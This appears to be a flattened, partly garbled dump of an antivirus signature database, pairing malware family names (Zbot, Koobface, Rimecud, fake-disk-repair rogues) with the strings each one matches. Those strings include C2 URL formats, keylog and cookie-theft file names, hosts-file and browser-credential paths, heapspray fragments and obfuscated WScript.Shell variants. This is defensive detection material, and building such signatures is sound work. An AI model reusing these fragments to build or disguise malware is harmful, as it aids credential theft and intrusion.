1.010obj<</type/catalog/pages20r/names30r>>endobj20obj<</type/pages/count1/kids[40r]>>endobj30obj<</javascript50r>>endobj40obj<</type/page/parent20r/contents120r>>endobj50obj<</names[(
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1.010obj<</type/catalog/pages20r/names30r>>endobj20obj<</type/pages/count1/kids[40r]>>endobj30obj<</javascript50r>>endobj40obj<</type/page/parent20r/contents120r>>endobj50obj<</names[(
1)60r(2)70r(3)80r]>>endobj60obj<</js r/s/javascript>>endobj70obj<</js r/s/javascript>>endobj80obj<</js r/s/javascript>>endobj obj<</filter/flatedecode/length !Delf.BT ---/$$/POST_URL= ---
/$$/POST_URL=] !Gael.A Q3@$c[ !OnLineGames.HB E:\\\\.+\\\\2010\\\\baidu.vbp !Delf.IY http://www.bobozim.hpg.com.br/nohot.jpg avatar.jpg satplg.jpg satplg.jpg] !Delf.IZ !Bancos.TE !Delf.JA 
!Autorun.QF!inf !Nuqel.AT!inf ADursg.D !VBInject.EM !Rimecud.DR !Rimecud.A ~M[>v !Ghodow.A 5t\tAB unionid=%s&mac=%s&iever=%d&alexa=%d&systemver=%d&antisoftware=%s&pluginver=%s 
/count.aspx?i= %s/NewConfig.aspx?m= SOFTWARE\\Classes\\CLSID\\{3CEFF6CD-6F08-4e4d-BCCD-FF7415288C3B} SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector QQSelf%d.exe 
!Autorun.WQ ADursg.E ADursg.F !Dursg.E &se.php?pop=1&aid=%s $request.php?aid=%s !Omexo.C SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command 
ASOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command \\\\?\\globalroot\\systemroot\\system32\\drivers\\etc\\hosts 4\\\\?\\globalroot\\systemroot\\system32\\drivers\\etc\\hosts 
\\\\.\\PhysicalDrive%d Software\\Microsoft\\Internet Explorer\\TypedURLs .Software\\Microsoft\\Internet Explorer\\TypedURLs :Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2 
PK11_CheckUserPassword  cookiesie.z cookies.z \tcookies.z keylog.z certs.z sysinfo.z \tsysinfo.z iexplore.exe|opera.exe|firefox.exe \"iexplore.exe|opera.exe|firefox.exe src='http://%s/jbinfo.cgi?
%s:%d'> !src='http://%s/jbinfo.cgi?%s:%d'> Global\\{721E3A61-883B-4144-BA81-1F965879E5C9} -Global\\{721E3A61-883B-4144-BA81-1F965879E5C9} AUTHINFO PASS  stealit pass_log sniff_log 
\tsniff_log] !VBInject.gen!DT !ShellCode.W <scriptlanguage=\"javascript\"> ?<scriptlanguage=\"javascript\"> heapspraytoaddress payload= !Prolaco.N !Namsys.A aClassloader.S aClassloader.T 
aClassloader.U 6ZSgowx@ aClassloader.V aClassloader.W aClassloader.X aClassloader.Y aClassloader.Z aClassloader.AA Trojan:HTML/Redirector.O <appletcode=\" {<appletcode=\"  
.appletx.class\"archive=\" #.jar\" @><paramname=\"data\"value=\" D\"><paramname=\" 12\"></applet> !Pidief.gen!B !Swisyn.E wmagents.exe passes.xm /gt.php *internet explorer* keylog.txt paslist.txt 
paslist.txt] !VBInject.EN !VBInject.EO !Pdfjsc.ER aCutwail.A !Cutwail.AW \\System32\\svchost.exe MaxUserPort 2SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters 
&proxy1.ru:8080;proxy1.ru:80;proxy3.ru; &proxy1.ru:8080;proxy1.ru:80;proxy3.ru;] xNThist !Pdfjsc.ES !Pdfjsc.ET !Pdfjsc.EU !Pdfjsc.EV !Pdfjsc.EW >4< ] !Shark.B !VB.WP C:\\\\.*A.*\\\\B\\\\Base.vbp 
AQakbot.B 1Fopper !Pdfjsc.EX AMult.CR !Rimecud.DS !CeeInject.gen!BH dbghelp.dll SbieDll.dll dbghelp.dllSbieDll.dll !Rimecud.DT  G>D9] !VBInject.EP !VBInject.gen!DU !Dofriv.A !Rimecud.DU 
Ghodow.A !Ghodow.B \\\\.\\Physicaldrive0 unionid=%s&mac=%s&iever=1&alexa=0&systemver=2&antisoftware=0&pluginver=%s %s/count.aspx?i= %s/count.aspx?i=] !Zbot.gen!Y !Zbot.gen!YO@ 
C:\\Users\\ZEUS\\Desktop\\Zeus Source Code 2\\source\\client\\ 7C:\\Users\\ZEUS\\Desktop\\Zeus Source Code 2\\source\\client\\~ 2.@}# W(X_$ 5Swisyn.E drivers.log [Del] {Sil} {Arrow_Up} 
{Arrow_Up}]   !#PEPCODE:Trojan:Win32/Skintrim!attr1  SizeOfInitializedData  137783c66195c HSTR:VirTool:Win32/Obfuscator.PN!k7.A0 'HSTR:VirTool:Win32/Obfuscator.PN!k7.A0 
HSTR:VirTool:Win32/Obfuscator.PN!upk.1 'HSTR:VirTool:Win32/Obfuscator.PN!upk.1 HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4242 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4242 
#HSTR:VirTool:Win32/Obfuscator.PN.4 HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4343 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4343 HSTR:VirTool:Win32/Obfuscator.PN!k7.1E 
'HSTR:VirTool:Win32/Obfuscator.PN!k7.1E HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4444 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4444 HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4545 
.HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4545 !#SLF:Lua:ContextualGamDll4  ^{?[%w%p]+}?%.{%w%w%w%w%w%w%w%w%-%w%w%w%w%-%w%w%w%w%-%w%w%w%w%-
%w%w%w%w%w%w%w%w%w%w%w%w}$ Z^{?[%w%p]+}?%.{%w%w%w%w%w%w%w%w%-%w%w%w%w%-%w%w%w%w%-%w%w%w%w%-%w%w%w%w%w%w%w%w%w%w%w%w}$ 
^%p%p%p+%.%d$ FileDescriptionWindows serwvdrv Library InternalNameserwvdrv OriginalFilenameserwvdrvj%   $ .text'  `.rsrc8 \"@@.reloc* RSDSKKg jsproxy.pdb jsproxy.pdbh, Cmm:^ 9zd;]J K-AVj 
n#'dQ l#&MD +\tY|U 67#JU _Ek\"s @dn9B/ pba6q v]|i\\ Kzs=v( F0.T) oft\tD$h'C$ IDTXq G?(t|o c0gZA d7Wt9 9NRRay& vjFnBW 8cIBE h629& hi`O}C -=\"m` S\\;pn( h,PD2 N`w+0 ioeGql ?ecvt  xYA* 
OI=t>0 ECX_]@ <hP Sz |DX z Jt>/Gt rZTxj e`#1l N}d$O 2i<V7 2=>-p Ne)?X e!O\tS) qF ZP kJ\\7C xx<u[p cator.Capslock.stream.A .sTreAm \t.sTreAm .sTreaM \t.sTreaM .sTream \t.sTream .stREAM 
\t.stREAM .stREAm \t.stREAm .stREaM \t.stREaM .stREam \t.stREam .stReAM \t.stReAM .stReAm \t.stReAm .stReaM \t.stReaM .stReam \t.stReam .strEAM \t.strEAM .strEAm \t.strEAm .strEaM 
\t.strEaM .strEam \t.strEam .streAM \t.streAM .streAm \t.streAm .streaM \t.streaM :&!#SCPT:JS/Obfuscator.Split.WriteLine.A 'riteLi \t'riteLi iteLi'; \titeLi'; teLin'; \tteLin'; 
'!#SCPT:JS/Obfuscator.Capslock.Appdata.A :'!#SCPT:JS/Obfuscator.Capslock.Appdata.A PDATa% PDAtA% PDAta% PDaTA% PDaTa% PDatA% PData% PdATA% PdATa% PdAtA% PdAta% 
PdaTA% PdaTa% PdatA% pDATA% (!#SCPT:JS/Obfuscator.functions.asindex.D :(!#SCPT:JS/Obfuscator.functions.asindex.D ]](); !#SCPT:s_codescript.B =new Function(\" 
!#SCPT:JS/BinaryDataToFile.A .BinaryDataToFile( \",'WS' `,'cri \",'WSc' `,'ri \"WScr\"+\"i 22ADOD 22EMP 25TEM  flash. em.Security !#SCPT:JS/Obfuscator.Hex.var.A \\x76\\x61\\x72\\x20 
\".concat(\"val\"); echo PowerShell \"\\x63\\x68ar \"\\x63h\\x61r \"\\x63ha\\x72 \"c\\x68\\x61r \"c\\x68a\\x72 \"ch\\x61\\x72 !#SCPT:JS/Obfuscator.HexMixed.J %5B%22Run%22%5D 105,120,112,109 
107,122,114,111 216,201,193,220 255,233,226,232  !#Lowfi:SCPT:Java/AllatoryDemo.A ; !#Lowfi:SCPT:Java/AllatoryDemo.A  ALLATORI_DEMO  !#SCPT:Extrac32RelativePathAbuse ; 
!#SCPT:Extrac32RelativePathAbuse  !#SCPT:JS/HexString.Assignment.B ; !#SCPT:JS/HexString.Assignment.B ;!!#SCPT:JS/Obfuscator.Redundancy.A []).charAt(!+ 
;!!#SCPT:JS/Obfuscator.Redundancy.B =this['' + (' !!#SCPT:JS/Obfuscator.Redundancy.M ;!!#SCPT:JS/Obfuscator.Redundancy.M & 0 *  * 0 &  * 0 *  * 0 +  * 0 -  * 0 /  * 0 ^  * 0 |  + 0 *  - 0 *  / 0 *  ^ 0 *  | 0 
*  !!#SCPT:JS/Obfuscator.Redundancy.T ;!!#SCPT:JS/Obfuscator.Redundancy.T + (0); + (1); + (2); + (3); ;\"!#SCRIPT:Java/AdwindOddClassName.D /RunPE.class 
\"!#SCRIPT:SpcIndirectDataContentOid ;\"!#SCRIPT:SpcIndirectDataContentOid #!#SCPT:JS/Obfuscator.BASE64.close.A ;#!#SCPT:JS/Obfuscator.BASE64.close.A \"Y2xvc2U=\".  
;$!#SCPT:JS/Obfuscator.Split.ComSpec.A + 'OMSPEC% = '%COMS'; = 'OMSPEC% ='%COMSP'; ;$!#SCPT:JS/Obfuscator.Split.getYear.A getYea\"+\"r ;$!#SCPT:JS/Obfuscator.Split.replace.A 
r\"+\"eplace re\"+\"place rep\"+\"lace repl\"+\"ace repla\"+\"ce replac\"+\"e $!#SCPT:JS/Obfuscator.Split.reverse.A ;$!#SCPT:JS/Obfuscator.Split.reverse.A r\"+\"everse re\"+\"verse rev\"+\"erse 
reve\"+\"rse rever\"+\"se revers\"+\"e &!#SCPT:JS/Obfuscator.Enc.Subbyte.com.A ;&!#SCPT:JS/Obfuscator.Enc.Subbyte.com.A CEEHETER  CFEIEUES  CGEJEVET  CHEKEWEU  CIELEXEV  
CJEMEYEW  CKENFAEX  CLEOFBEY  CMEPFCFA  CNEQFDFB  COERFEFC  CPESFFFD  CQETFGFE  CREUFHFF  CSEVFIFG  CTEWFJFH  CUEXFKFI  CVEYFLFJ  CWFAFMFK  CXFBFNFL  
CYFCFOFM  DAFDFPFN  DBFEFQFO  DCFFFRFP  DDFGFSFQ  DEFHFTFR  DFFIFUFS  DGFJFVFT  DHFKFWFU  DIFLFXFV  &!#SCPT:JS/Obfuscator.Enc.Subbyte.exe.A 
;&!#SCPT:JS/Obfuscator.Enc.Subbyte.exe.A FMHRILHR  FNHSIMHS  FOHTINHT  FPHUIOHU  FQHVIPHV  FRHWIQHW  FSHXIRHX  FTHYISHY  FUIAITIA  FVIBIUIB  FWICIVIC  FXIDIWID  
FYIEIXIE  GAIFIYIF  GBIGJAIG  GCIHJBIH  GDIIJCII  GEIJJDIJ  GFIKJEIK  GGILJFIL  GHIMJGIM  GIINJHIN  GJIOJIIO  GKIPJJIP  GLIQJKIQ  GMIRJLIR  GNISJMIS  GOITJNIT  GPIUJOIU  
GQIVJPIV  GRIWJQIW  GSIXJRIX  &!#SCPT:JS/Obfuscator.HexMixed.return.A ;&!#SCPT:JS/Obfuscator.HexMixed.return.A \\x72etur  r\\x65tur  re\\x74ur  ret\\x75r  
&!#SCPT:JS/Obfuscator.OctMixed.return.A ;&!#SCPT:JS/Obfuscator.OctMixed.return.A \\162etur  r\\145tur  re\\164ur  ret\\165r  '!#SCPT:JS/Obfuscator.Capslock.WScript.A 
;'!#SCPT:JS/Obfuscator.Capslock.WScript.A t.SHELl \tt.SHELl t.SHElL \tt.SHElL t.SHEll \tt.SHEll t.SHeLL \tt.SHeLL t.SHeLl \tt.SHeLl t.SHelL \tt.SHelL t.SHell \tt.SHell t.ShELL \tt.ShELL t.ShELl 
\tt.ShELl t.ShElL \tt.ShElL t.ShEll \tt.ShEll t.SheLL \tt.SheLL t.SheLl \tt.SheLl t.ShelL \tt.ShelL t.sheLL \tt.sheLL ;(!#SCPT:JS/Obfuscator.BASE64EncScript.001 ('dmFy 
(!#SCPT:JS/Obfuscator.Redundancy.Spaces.B ;(!#SCPT:JS/Obfuscator.Redundancy.Spaces.B 1) ; 2) ; 3) ; 4) ; 5) ; 6) ; 7) ; 8) ; 9) ; (!#SCPT:JS/Obfuscator.functions.asindex.B ;
(!#SCPT:JS/Obfuscator.functions.asindex.B ()](); ;(!#SCPT:JS/Obfuscator.functions.asindex.D ])](); !#SCPT:BelmontHB ERROR: Cannot set windows hook. !ERROR: Cannot set windows hook. 
22WScr 22ADODB = 'h' +   'ttp:/ = 'ht' +   'tp:/ = 'htt' +   'p:/ = 'http' +  adByt addCh tList !#SCPT:SWF/Obfuscator.Split.Q entLis ['\\u006F\\u0070en ['\\u006Fp\\u0065n ['\\u006Fpe\\u006E 
['o\\u0070\\u0065n ['o\\u0070e\\u006E ['\\u0073\\u0065nd ['\\u0073e\\u006Ed ['\\u0073en\\u0064 ['s\\u0065\\u006Ed ['s\\u0065n\\u0064 ['se\\u006E\\u0064 , \"WScri\\x69\\x70 , \"WScri\\x70\\x74 , 
\"W\\u0053\\u0063 , \"W\\x53\\x63\\x72 , \"\\u0057S\\u0063 , \"\\u0057\\u0053c [(\"W\\u0053\\u0063 [(\"\\u0057S\\u0063 [(\"\\u0057\\u0053c \"c\"+\"\\x68\"+\"arAt \"c\\x68\\x61rA \"c\\x68a\\x72A 
\"c\\x68ar\\x41 \"ch\"+\"\\x61\"+\"rAt \"ch\\x61\\x72A \"ch\\x61r\\x41 \"cha\"+\"\\x72\"+\"At \"cha\\x72\\x41 \"char\"+\"\\x41\"+\"t  !#Exploit:Win32/CVE-2015-0097.A2 < !#Exploit:Win32/CVE-2015-0097.A2 
ADODB.Recordset  !#SCPT:JS/HexString.Assignment.A < !#SCPT:JS/HexString.Assignment.A = '\\x  !#SCPT:JS/Obfuscator.Split.php.A < !#SCPT:JS/Obfuscator.Split.php.A '.'+'p'+'h'+'p' < 
!#SCPT:VirTool:SWF/Obfuscator.K0 IlllIl1 11I1l  !#TrojanDownloader:VBS/Vibrio.P3 < !#TrojanDownloader:VBS/Vibrio.P3 |llehs.tpircsW| <!!#SCPT:JS/Obfuscator.Redundancy.N switch (false) 
<$!#SCPT:JS/Obfuscator.Split.ComSpec.A = '%COMSP';  = 'EC%  <$!#SCPT:VBS/Obfuscator.bin.base64.001 .ba\",\"se64\"  <%!#//SCPT:JS/Obfuscator.HexMixed.var.A \\x76\\x61r  \\x76a\\x72  
\\x76ar\\x20 v\\x61r\\x20 =kiri1;window.onbeforeunload=asdf;if(navigator.useragent.indexof(\"f +\"x\")!=-1){alert(qw id('text2') /g,''); @if(navigator.useragent.indexof(\"firefox\")!=-1){alert( 
window.resizeto(0 );window.moveto(width1  ,height1 +-123456789); result_text=l22.replace(/lol_lol/g,'')+l33.replace(/lol_lol/g,'');functionbirka(){returnaskerr==1?
result_text:false;}window.onbeforeunload=birka;functionlopiufd(){alert(result_text);}lopiufd();functionpromkastofuck()
{varelemname=\"iframe\";elemname+=\"\";vars=document.createelement(elemname);s.src=\"?c= se{}var +'r';var +'m';var +'k';var +'.';var +'l';var +'.';return !Koobface.gen!O ?action=bitly ?action=bitly] 
!Koobface.gen!P ?action=plgen ?action=plgen] !Agent.AAG aaaaaaaaaaaaaaaaaaaaaa.limewebs.com/z/gate.php .aaaaaaaaaaaaaaaaaaaaaa.limewebs.com/z/gate.php !Small.QP !Karagany.A 
h|brxwkjs* enbpuoatp<m`>rq z}?iuo{u?bf |w!s~ !Koobface.E MonitoringTool:Win32/ShadowKeylogger $MonitoringTool:Win32/ShadowKeylogger \\Password for stopping the keylogging proccess. 
6Enable Screenshot Capturing Shadow_Keylogger.Resources Shadow_Keylogger.Resources] !Bagle.ACE !Ldpinch.UU !Koobface.Q !Koobface.gen!G %s?
action=ppgen&a=%d&v=%s&pid=%s&cnt=%d %s?action=md5gen&url=%s&reqhash=%s&reshash=%s&v=01 %s?v=1&action=passgen&l=%s&p=%s %s?action=banurlgen&v=%s&ban_url=%s 
%s\\zpskon_%d.exe feedwall_with_composer /roadblock/] !Pushbot.TT !Neeris.BE !Alureon.E ExecPri.dll ExecWait ExecPri.dllhighExecWait inetc.dll inetc.dll/end /crl.exe /isass.exe /sdd32.exe 
/sdm64.exe /fpss2.exe \\syskeya.exe \\wpnpinsta.exe \\presentationsettingsa.exe \\efsuib.exe \\bitsadminb.exe \\bitsadminb.exe] !Neeris.BF Rogue:BAT/FakePAV /every:m,t,w,th,f,s,sumshta.exehttp:// 
6/every:m,t,w,th,f,s,sumshta.exehttp://  .php?olala= aSirefef.gen!C IDE\\[cmz vmkd] !Harnig.gen!E aAlureon.O !Koobface.AO Killav.V !Ldpinch.CV !Pushbot.TU !Mooplids.A GET tD POSTt< .dllG 
!Oficla.V Rogue:HTML/FakeRean id=closewebpage><ahref=\"http://127.0.0.1:27777/?inj=http:// =id=closewebpage><ahref=\"http://127.0.0.1:27777/?inj=http:// !FakeSysdef  0$0$! 0>c_1 wM0>0 
.exe.tmp 06http://  ?type=stats&affid= &subid= &awok 0Jsoftware\\ windows\\ currentversion\\ policies\\ C:\\Documents and Settings\\All Users\\Application Data\\ 0>C:\\Documents and Settings\\All 
Users\\Application Data\\ 04http:// 0.org/404.php?type=stats&affid= 6hp@h ,HDDRepair module activ &Run Defragmentation activation code *for your purchase, %s PC is in danger &scan your hard 
drivg ?--}~ IU02# IU0S( IU0g^ p0vPd z|t,n QAQ/S .J9oOV g=<NN? g=<NN?`  <NN?g rotef H83a5f83b-5aa7-4fa7-bbf5-63829add296e rootkit__ 3Uf3D$ stats&affid=%s&subid=%s&i hard drive error 
occurred Processing Message 0x0000013 Parametersx \\fcrypt\\Release\\S\\s_high.pdb :\\src\\ \\Release\\S\\ Nrecommended that you restart the system adw: terminate %lu ok @Install %s software 
(recomended) %s is professional software toolkit designed to detect, identify and fix hardware memory related problemsx avoid data loss it is highly recommended to run System Repair Wizard 
svchost.exe - Corrupt Disk %s%s/%s?p=%s&aid=%s&sid=%s&hash=%s&product=%s Checking S.M.A.R.T. attributes... physical resources of this disk have been exhausted. The device is 
unreachablex __exe_url__  __exe_download__ detected a problem with one or more installed IDE / SATA hard disks l.php?type=stats&affid=%s&subid=%s&version=%s&installok l[Your disk is in a 
critical state. Click here for more \"%s\\%s_License.txtx Exe file is corrupted and can't be run. Hard drive scan required VClick %tb[\"Allow\"] when UAC screen appears hDefragHDDRepair module 
activation required to enable %s performance issues found. Click %%tl[here] to start perfomance & stability optimization. readdatagateway.php?type=stats&affid=%s `DefragHDDRepair tool can fix 
detected hard drive Defragmenter Diagnostics Run Defragmentation Buy Now! readdatagateway.php?type= %s/%s/%s-direct.exe 8856F961-340A-11D0-A96B-00C04FD705A2 83a5f83b-5aa7-4fa7-
bbf5-63829add296e 625773d0-1eb5-4879-8322-8bdc33d9d4fe 9cf2592c-1832-4358-a0fc-26d6a0c29808 d8bb5910-2d85-489b-8403-803ed25e73bc f7c5da73-b4a5-4947-8f40-08f2871eb36b 
searchfindfix.org searchmemory.org <?pid=%s&id=%s&subid=%s&guid=%s Hard drive clusters are partly damaged. Segment load failure RAM memory reliability is extremely low. This problem may 
cause system failure \"//%s/%s/%s-direct B.php?type=stats&affid=%s&subid=%s <Windows - Delayed Write Failed _exe_url__ _exe_download__~ L3(|5 UcI\t{2U A^R;c n7^Rp '\"=\t` ture:M:139 
!#HSTR:JAVA:Feature:M:142 !#HSTR:JAVA:Feature:M:143 !#HSTR:JAVA:Feature:M:147 !#HSTR:JAVA:Feature:M:148 !#HSTR:JAVA:Feature:M:150 !#HSTR:JAVA:Feature:M:152 
!#HSTR:JAVA:Feature:M:155 !#HSTR:JAVA:Feature:M:157 !#HSTR:JAVA:Feature:M:158 !#HSTR:JAVA:Feature:M:159 !#HSTR:JAVA:Feature:M:160 !#HSTR:JAVA:Feature:M:168 
!#HSTR:JAVA:Feature:M:169 !#HSTR:JAVA:Feature:M:170 !#HSTR:JAVA:Feature:M:174 !#HSTR:JAVA:Feature:M:176 !#HSTR:JAVA:Feature:M:177 !#HSTR:JAVA:Feature:M:178 
!#HSTR:JAVA:Feature:M:182 !#HSTR:JAVA:Feature:M:184 !#HSTR:JAVA:Feature:M:185 !#HSTR:JAVA:Feature:M:186 !#HSTR:JAVA:Feature:M:188 !#HSTR:JAVA:Feature:M:191 
!#HSTR:JAVA:Feature:M:192 !#HSTR:JAVA:Feature:M:196 !#HSTR:JAVA:Feature:M:198 !#HSTR:JAVA:Feature:M:199 !#HSTR:JAVA:Feature:M:201 !#HSTR:JAVA:Feature:M:202 
!#HSTR:JAVA:Feature:M:205 !#HSTR:JAVA:Feature:M:206 !#HSTR:JAVA:Feature:M:207 !#HSTR:JAVA:Feature:M:209 !#HSTR:JAVA:Feature:M:210 !#HSTR:JAVA:Feature:M:211 
!#HSTR:JAVA:Feature:M:212 !#HSTR:JAVA:Feature:M:213 !#HSTR:JAVA:Feature:M:218 !#HSTR:JAVA:Feature:M:220 !#HSTR:JAVA:Feature:M:222 !#HSTR:JAVA:Feature:M:223 
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!#HSTR:JAVA:Feature:M:255 !#HSTR:JAVA:Feature:M:260 !#HSTR:JAVA:Feature:M:261 !#HSTR:JAVA:Feature:M:264 !#HSTR:JAVA:Feature:M:267 !#HSTR:JAVA:Feature:M:270 
!#HSTR:JAVA:Feature:M:271 !#HSTR:JAVA:Feature:M:272 !#HSTR:JAVA:Feature:M:273 !#HSTR:JAVA:Feature:M:275 !#HSTR:JAVA:Feature:M:277 !#HSTR:JAVA:Feature:M:278 
!#HSTR:JAVA:Feature:M:280 !#HSTR:JAVA:Feature:M:281 !#HSTR:JAVA:Feature:M:282 !#HSTR:JAVA:Feature:M:287 !#HSTR:JAVA:Feature:M:288 !#HSTR:JAVA:Feature:M:290 
!#HSTR:JAVA:Feature:M:292 !#HSTR:JAVA:Feature:M:294 !#HSTR:JAVA:Feature:M:298 !#HSTR:JAVA:Feature:M:299 !#HSTR:JAVA:Feature:M:300 !#HSTR:JAVA:Feature:M:302 
!#HSTR:JAVA:Feature:M:304 !#HSTR:JAVA:Feature:M:308 !#HSTR:JAVA:Feature:M:311 !#HSTR:JAVA:Feature:M:313 !#HSTR:JAVA:Feature:M:314 !#HSTR:JAVA:Feature:M:315 
!#HSTR:JAVA:Feature:M:320 !#HSTR:JAVA:Feature:M:321 !#HSTR:JAVA:Feature:M:322 !#HSTR:JAVA:Feature:M:323 !#HSTR:JAVA:Feature:M:324 !#HSTR:JAVA:Feature:M:325 
!#HSTR:JAVA:Feature:M:326 !#HSTR:JAVA:Feature:M:327 !#HSTR:JAVA:Feature:M:328 !#HSTR:JAVA:Feature:M:332 !#HSTR:JAVA:Feature:M:333 !#HSTR:JAVA:Feature:M:336 
!#HSTR:JAVA:Feature:M:339 !#HSTR:JAVA:Feature:M:341 !#HSTR:JAVA:Feature:M:343 !#HSTR:JAVA:Feature:M:344 !#HSTR:JAVA:Feature:M:346 !#HSTR:JAVA:Feature:M:347 
!#HSTR:JAVA:Feature:M:348 !#HSTR:JAVA:Feature:M:349 !#HSTR:JAVA:Feature:M:350 !#HSTR:JAVA:Feature:M:352 !#HSTR:JAVA:Feature:M:353 !#HSTR:JAVA:Feature:M:355 
!#HSTR:JAVA:Feature:M:357 !#HSTR:JAVA:Feature:M:358 !#HSTR:JAVA:Feature:M:359 !#HSTR:JAVA:Feature:M:363 !#HSTR:JAVA:Feature:M:364 !#HSTR:JAVA:Feature:M:365 
!#HSTR:JAVA:Feature:M:368 !#HSTR:JAVA:Feature:M:371 !#HSTR:JAVA:Feature:M:372 !#HSTR:JAVA:Feature:M:374 !#HSTR:JAVA:Feature:M:377 !#HSTR:JAVA:Feature:M:381 
!#HSTR:JAVA:Feature:M:382 !#HSTR:JAVA:Feature:M:383 !#HSTR:JAVA:Feature:M:384 !#HSTR:JAVA:Feature:M:385 !#HSTR:JAVA:Feature:M:387 !#HSTR:JAVA:Feature:M:391 
!#HSTR:JAVA:Feature:M:393 !#HSTR:JAVA:Feature:M:394 !#HSTR:JAVA:Feature:M:399 !#HSTR:JAVA:Feature:M:402 !#HSTR:JAVA:Feature:M:403 !#HSTR:JAVA:Feature:M:405 
!#HSTR:JAVA:Feature:M:406 !#HSTR:JAVA:Feature:M:408 !#HSTR:JAVA:Feature:M:411 !#HSTR:JAVA:Feature:M:412 !#HSTR:JAVA:Feature:M:413 !#HSTR:JAVA:Feature:M:414 
!#HSTR:JAVA:Feature:M:415 !#HSTR:JAVA:Feature:M:417 !#HSTR:JAVA:Feature:M:420 !#HSTR:JAVA:Feature:M:422 !#HSTR:JAVA:Feature:M:423 !#HSTR:JAVA:Feature:M:424 
!#HSTR:JAVA:Feature:M:425 !#HSTR:JAVA:Feature:M:430 !#HSTR:JAVA:Feature:M:431 !#HSTR:JAVA:Feature:M:432 !#HSTR:JAVA:Feature:M:433 !#HSTR:JAVA:Feature:M:436 
!#HSTR:JAVA:Feature:M:439 !#HSTR:JAVA:Feature:M:440 !#HSTR:JAVA:Feature:M:441 !#HSTR:JAVA:Feature:M:442 !#HSTR:JAVA:Feature:M:445 !#HSTR:JAVA:Feature:M:448 
!#HSTR:JAVA:Feature:M:449 !#HSTR:JAVA:Feature:M:450 !#HSTR:JAVA:Feature:M:451 !#HSTR:JAVA:Feature:M:453 !#HSTR:JAVA:Feature:M:454 !#HSTR:JAVA:Feature:M:455 
!#HSTR:JAVA:Feature:M:456 !#HSTR:JAVA:Feature:M:458 !#HSTR:JAVA:Feature:M:460 !#HSTR:JAVA:Feature:M:461 !#HSTR:JAVA:Feature:M:462 !#HSTR:JAVA:Feature:M:464 
!#HSTR:JAVA:Feature:M:467 !#HSTR:JAVA:Feature:M:468 !#HSTR:JAVA:Feature:M:472 !#HSTR:JAVA:Feature:M:474 !#HSTR:JAVA:Feature:M:475 !#HSTR:JAVA:Feature:M:476 
!#HSTR:JAVA:Feature:M:479 !#HSTR:JAVA:Feature:M:485 !#HSTR:JAVA:Feature:M:486 !#HSTR:JAVA:Feature:M:488 !#HSTR:JAVA:Feature:M:494 !#HSTR:JAVA:Feature:M:495 
!#HSTR:JAVA:Feature:M:496 !#HSTR:JAVA:Feature:M:497 !#HSTR:JAVA:Feature:M:499 !#HSTR:JAVA:Feature:M:501 !#HSTR:JAVA:Feature:M:505 !#HSTR:JAVA:Feature:M:506 
!#HSTR:JAVA:Feature:M:507 !#HSTR:JAVA:Feature:M:508 !#HSTR:JAVA:Feature:M:511 !#HSTR:JAVA:Feature:M:514 !#HSTR:JAVA:Feature:M:515 !#HSTR:JAVA:Feature:M:516 
!#HSTR:JAVA:Feature:M:521 !#HSTR:JAVA:Feature:M:522 !#HSTR:JAVA:Feature:M:523 !#HSTR:JAVA:Feature:M:524 !#HSTR:JAVA:Feature:M:525 !#HSTR:JAVA:Feature:M:527 
!#HSTR:JAVA:Feature:M:528 !#HSTR:JAVA:Feature:M:532 !#HSTR:JAVA:Feature:M:533 !#HSTR:JAVA:Feature:M:534 !#HSTR:JAVA:Feature:M:535 !#HSTR:JAVA:Feature:M:536 
!#HSTR:JAVA:Feature:M:541 !#HSTR:JAVA:Feature:M:542 !#HSTR:JAVA:Feature:M:547 !#HSTR:JAVA:Feature:M:550 !#HSTR:JAVA:Feature:M:552 !#HSTR:JAVA:Feature:M:553 
!#HSTR:JAVA:Feature:M:554 !#HSTR:JAVA:Feature:M:555 !#HSTR:JAVA:Feature:M:557 !#HSTR:JAVA:Feature:M:558 !#HSTR:JAVA:Feature:M:561 !#HSTR:JAVA:Feature:M:563 
!#HSTR:JAVA:Feature:M:565 !#HSTR:JAVA:Feature:M:567 !#HSTR:JAVA:Feature:M:571 !#HSTR:JAVA:Feature:M:572 !#HSTR:JAVA:Feature:M:574 !#HSTR:JAVA:Feature:M:578 
!#HSTR:JAVA:Feature:M:579 !#HSTR:JAVA:Feature:M:580 !#HSTR:JAVA:Feature:M:583 !#HSTR:JAVA:Feature:M:584 !#HSTR:JAVA:Feature:M:585 !#HSTR:JAVA:Feature:M:586 
!#HSTR:JAVA:Feature:M:589 !#HSTR:JAVA:Feature:M:590 !#HSTR:JAVA:Feature:M:591 !#HSTR:JAVA:Feature:M:594 !#HSTR:JAVA:Feature:M:595 !#HSTR:JAVA:Feature:M:596 
!#HSTR:JAVA:Feature:M:597 !#HSTR:JAVA:Feature:M:599 !#HSTR:JAVA:Feature:M:600 !#HSTR:JAVA:Feature:M:602 !#HSTR:JAVA:Feature:M:604 !#HSTR:JAVA:Feature:M:605 
!#HSTR:JAVA:Feature:M:606 !#HSTR:JAVA:Feature:M:608 !#HSTR:JAVA:Feature:M:609 !#HSTR:JAVA:Feature:M:610 !#HSTR:JAVA:Feature:M:611 !#HSTR:JAVA:Feature:M:615 
!#HSTR:JAVA:Feature:M:616 !#HSTR:JAVA:Feature:M:617 !#HSTR:JAVA:Feature:M:619 !#HSTR:JAVA:Feature:M:620 !#HSTR:JAVA:Feature:M:621 !#HSTR:JAVA:Feature:M:622 
!#HSTR:JAVA:Feature:M:623 !#HSTR:JAVA:Feature:M:626 !#HSTR:JAVA:Feature:M:627 !#HSTR:JAVA:Feature:M:629 !#HSTR:JAVA:Feature:M:630 !#HSTR:JAVA:Feature:M:631 
!#HSTR:JAVA:Feature:M:632 !#HSTR:JAVA:Feature:M:637 !#HSTR:JAVA:Feature:M:638 !#HSTR:JAVA:Feature:M:640 !#HSTR:JAVA:Feature:M:641 !#HSTR:JAVA:Feature:M:645 
